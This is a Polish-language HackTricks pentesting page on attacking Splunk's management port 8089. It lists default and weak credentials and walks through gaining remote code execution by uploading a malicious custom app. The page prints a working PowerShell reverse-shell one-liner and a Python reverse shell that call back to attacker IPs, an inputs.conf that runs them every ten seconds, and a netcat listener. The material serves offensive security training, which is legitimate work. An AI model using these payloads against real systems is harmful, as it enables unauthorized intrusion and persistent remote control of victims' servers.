9 KiB
8089 - Testowanie penetracyjne Splunkd
Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCYJNY!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
Podstawowe informacje
Splunk to narzędzie do analizy logów, które odgrywa kluczową rolę w zbieraniu, analizowaniu i wizualizacji danych. Choć początkowo nie było przeznaczone do pełnienia roli narzędzia SIEM (Security Information and Event Management), zyskało popularność w dziedzinie monitorowania bezpieczeństwa i analizy biznesowej.
Instalacje Splunka są często wykorzystywane do przechowywania danych poufnych i mogą stanowić cennego źródła informacji dla potencjalnych atakujących, jeśli uda im się skompromitować system. Domyślny port: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Serwer WWW Splunk domyślnie działa na porcie 8000. {% endhint %}
Wyliczanie
Wersja darmowa
Po 60 dniach okres próbny Splunk Enterprise przekształca się w wersję darmową, która nie wymaga uwierzytelnienia. Nie jest rzadkością, że administratorzy systemów instalują wersję próbną Splunka, aby ją przetestować, a następnie o niej zapominają. Automatycznie przekształca się ona w wersję darmową, która nie posiada żadnej formy uwierzytelnienia, wprowadzając lukę w zabezpieczeniach środowiska. Niektóre organizacje mogą wybrać wersję darmową ze względu na ograniczenia budżetowe, nie do końca rozumiejąc implikacje braku zarządzania użytkownikami/rolami.
Domyślne dane uwierzytelniające
W starszych wersjach Splunka domyślne dane uwierzytelniające to admin:changeme
, które wygodnie są wyświetlane na stronie logowania.
Jednak najnowsza wersja Splunka ustawia dane uwierzytelniające podczas procesu instalacji. Jeśli domyślne dane uwierzytelniające nie działają, warto sprawdzić powszechne słabe hasła, takie jak admin
, Welcome
, Welcome1
, Password123
, itp.
Pozyskiwanie informacji
Po zalogowaniu do Splunka możemy przeglądać dane, uruchamiać raporty, tworzyć wykresy, instalować aplikacje z biblioteki Splunkbase oraz instalować niestandardowe aplikacje.
Można również uruchamiać kod: Splunk ma wiele sposobów uruchamiania kodu, takich jak aplikacje Django po stronie serwera, punkty końcowe REST, skryptowane dane wejściowe i skrypty alarmowe. Powszechną metodą zdobycia zdalnego wykonania kodu na serwerze Splunka jest użycie skryptowanego wejścia.
Co więcej, ponieważ Splunk może być instalowany na hostach z systemem Windows lub Linux, można tworzyć skryptowane dane wejściowe do uruchamiania skryptów Bash, PowerShell lub Batch.
Shodan
Splunk build
RCE
Tworzenie niestandardowej aplikacji
Niestandardowa aplikacja może uruchamiać skrypty Pythona, Batch, Bash lub PowerShell.
Zauważ, że Splunk ma zainstalowanego Pythona, więc nawet na systemach Windows będzie można uruchamiać kod pythona.
Możesz skorzystać z tego pakietu Splunka, aby nam pomóc. Katalog bin
w tym repozytorium zawiera przykłady dla Pythona i PowerShella. Przejdźmy przez to krok po kroku.
Aby to osiągnąć, najpierw musimy utworzyć niestandardową aplikację Splunka, korzystając z następującej struktury katalogów:
tree splunk_shell/
splunk_shell/
├── bin
└── default
Katalog bin
będzie zawierał wszelkie skrypty, które zamierzamy uruchomić (w tym przypadku odwrócony shell PowerShell), a domyślny katalog będzie zawierał plik inputs.conf
. Nasz odwrócony shell będzie jednolinijkowym skryptem PowerShell:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
Plik inputs.conf mówi Splunkowi który skrypt uruchomić i jakie są inne warunki. Tutaj ustawiamy aplikację jako włączoną i mówimy Splunkowi, aby uruchamiał skrypt co 10 sekund. Interwał zawsze jest podany w sekundach, a wejście (skrypt) zostanie uruchomione tylko wtedy, gdy ten parametr jest obecny.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Potrzebujemy pliku .bat
, który zostanie uruchomiony po wdrożeniu aplikacji i wykona polecenie PowerShell.
Następnym krokiem jest wybranie opcji Zainstaluj aplikację z pliku
i przesłanie aplikacji.
Przed przesłaniem złośliwej niestandardowej aplikacji, uruchommy nasłuchiwanie za pomocą programu Netcat lub socat.
sudo nc -lnvp 443
listening on [any] 443 ...
Na stronie Prześlij aplikację
kliknij przycisk przeglądaj, wybierz plik tarball, który wcześniej utworzyliśmy, a następnie kliknij Prześlij
. Gdy tylko załadujemy aplikację, status aplikacji automatycznie zmieni się na Włączony
, a my otrzymamy odwrotną powłokę.
Linux
Jeśli mielibyśmy do czynienia z hostem Linux, musielibyśmy edytować skrypt Pythona rev.py
przed utworzeniem pliku tarball i przesłaniem niestandardowej złośliwej aplikacji. Reszta procesu byłaby taka sama, a my uzyskalibyśmy połączenie z odwrotną powłoką na naszym słuchaczu Netcat i moglibyśmy ruszyć do działania.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Eskalacja uprawnień
Na następnej stronie znajdziesz wyjaśnienie, jak można nadużyć tego usługi do eskalacji uprawnień i uzyskania trwałości:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
Odnośniki
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.